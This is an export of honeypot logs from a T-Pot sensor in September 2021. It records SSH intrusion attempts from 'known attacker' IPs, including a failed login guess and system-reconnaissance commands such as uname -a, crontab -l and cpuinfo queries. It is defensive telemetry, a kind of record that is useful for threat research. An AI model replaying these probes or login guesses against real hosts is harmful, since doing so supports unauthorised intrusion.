\N	known attacker	\N
29206	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:31.184985+03	2021-09-20 14:30:03.831525+03	{"_id": "jgbyAnwBvYTbRNuEYzPM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "1.117.219.217", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.5163495540618896, "duplicate": true, "timestamp": "2021-09-20T11:23:31.184985Z", "@timestamp": "2021-09-20T11:23:31.184Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29207	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:32.061874+03	2021-09-20 14:30:03.832553+03	{"_id": "kQbyAnwBvYTbRNuEYzPP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "1.117.219.217", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.5077915191650391, "duplicate": true, "timestamp": "2021-09-20T11:23:32.061874Z", "@timestamp": "2021-09-20T11:23:32.061Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29208	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:32.958555+03	2021-09-20 14:30:03.833554+03	{"_id": "lQbyAnwBvYTbRNuEZzO2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "1.117.219.217", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.5177371501922607, "duplicate": true, "timestamp": "2021-09-20T11:23:32.958555Z", "@timestamp": "2021-09-20T11:23:32.958Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29209	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:33.356816+03	2021-09-20 14:30:03.834554+03	{"_id": "lgbyAnwBvYTbRNuEazOe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:33.356816Z", "@timestamp": "2021-09-20T11:23:33.356Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
29210	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:34.246173+03	2021-09-20 14:30:03.835554+03	{"_id": "nwbyAnwBvYTbRNuEbzOG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:34.246173Z", "@timestamp": "2021-09-20T11:23:34.246Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
29211	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:34.246706+03	2021-09-20 14:30:03.836555+03	{"_id": "oAbyAnwBvYTbRNuEbzOG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:34.246706Z", "@timestamp": "2021-09-20T11:23:34.246Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29212	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:34.753589+03	2021-09-20 14:30:03.83855+03	{"_id": "oQbyAnwBvYTbRNuEbzOG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 20, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "1.117.219.217", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.5074913501739502, "duplicate": true, "timestamp": "2021-09-20T11:23:34.753589Z", "@timestamp": "2021-09-20T11:23:34.753Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29213	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:23:35.422913+03	2021-09-20 14:30:03.839553+03	{"_id": "pAbyAnwBvYTbRNuEcTM9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "flow_id": 1983969666410889, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42772, "dest_port": 22, "timestamp": "2021-09-20T11:23:35.422913Z", "@timestamp": "2021-09-20T11:23:35.422Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29214	119.29.153.168	109.199.241.180	Fatt	2021-09-20 14:23:35.425104+03	2021-09-20 14:30:03.840553+03	{"_id": "pgbyAnwBvYTbRNuEcjNx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 42772, "dest_port": 22, "timestamp": "2021-09-20T11:23:35.425104", "@timestamp": "2021-09-20T11:23:35.425Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29215	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:35.118154+03	2021-09-20 14:30:03.841553+03	{"_id": "pwbyAnwBvYTbRNuEczNw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:35.118154Z", "@timestamp": "2021-09-20T11:23:35.118Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
29216	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:23:35.143949+03	2021-09-20 14:30:03.842553+03	{"_id": "rQbyAnwBvYTbRNuEczNw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "c767b30d40da", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:23:35.143949Z", "@timestamp": "2021-09-20T11:23:35.143Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29217	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:35.998346+03	2021-09-20 14:30:03.843557+03	{"_id": "qQbyAnwBvYTbRNuEczNw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:35.998346Z", "@timestamp": "2021-09-20T11:23:35.998Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29218	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:23:39.663114+03	2021-09-20 14:30:03.845524+03	{"_id": "6QbyAnwBvYTbRNuEgzMU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.login.failed", "message": "login attempt [robin/123] failed", "session": "a001dced7dcf", "@version": "1", "password": "123", "username": "robin", "timestamp": "2021-09-20T11:23:39.663114Z", "@timestamp": "2021-09-20T11:23:39.663Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29219	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:39.486912+03	2021-09-20 14:30:03.846527+03	{"_id": "6AbyAnwBvYTbRNuEgzMU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:39.486912Z", "@timestamp": "2021-09-20T11:23:39.486Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29220	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:39.992457+03	2021-09-20 14:30:03.847526+03	{"_id": "6gbyAnwBvYTbRNuEgzMU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "1.117.219.217", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.5061862468719482, "duplicate": true, "timestamp": "2021-09-20T11:23:39.992457Z", "@timestamp": "2021-09-20T11:23:39.992Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29221	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:31.554697+03	2021-09-20 14:30:03.848525+03	{"_id": "kAbyAnwBvYTbRNuEYzPN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:31.554697Z", "@timestamp": "2021-09-20T11:23:31.554Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29222	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:32.440899+03	2021-09-20 14:30:03.849526+03	{"_id": "lAbyAnwBvYTbRNuEZzO1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:32.440899Z", "@timestamp": "2021-09-20T11:23:32.440Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
29223	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:40.362332+03	2021-09-20 14:30:03.851526+03	{"_id": "6wbyAnwBvYTbRNuEhjP9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:40.362332Z", "@timestamp": "2021-09-20T11:23:40.362Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
29224	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:40.362881+03	2021-09-20 14:30:03.852527+03	{"_id": "7AbyAnwBvYTbRNuEhjP9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:40.362881Z", "@timestamp": "2021-09-20T11:23:40.362Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29225	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:40.627537+03	2021-09-20 14:30:03.853526+03	{"_id": "7gbyAnwBvYTbRNuEhjP9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 26 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 26.494508266448975, "timestamp": "2021-09-20T11:23:40.627537Z", "@timestamp": "2021-09-20T11:23:40.627Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29226	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:23:40.983691+03	2021-09-20 14:30:03.854527+03	{"_id": "7wbyAnwBvYTbRNuEhjP9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "a001dced7dcf", "@version": "1", "duration": 4.03080415725708, "timestamp": "2021-09-20T11:23:40.983691Z", "@timestamp": "2021-09-20T11:23:40.983Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29227	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:40.622977+03	2021-09-20 14:30:03.855524+03	{"_id": "7QbyAnwBvYTbRNuEhjP9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "1.117.219.217", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": 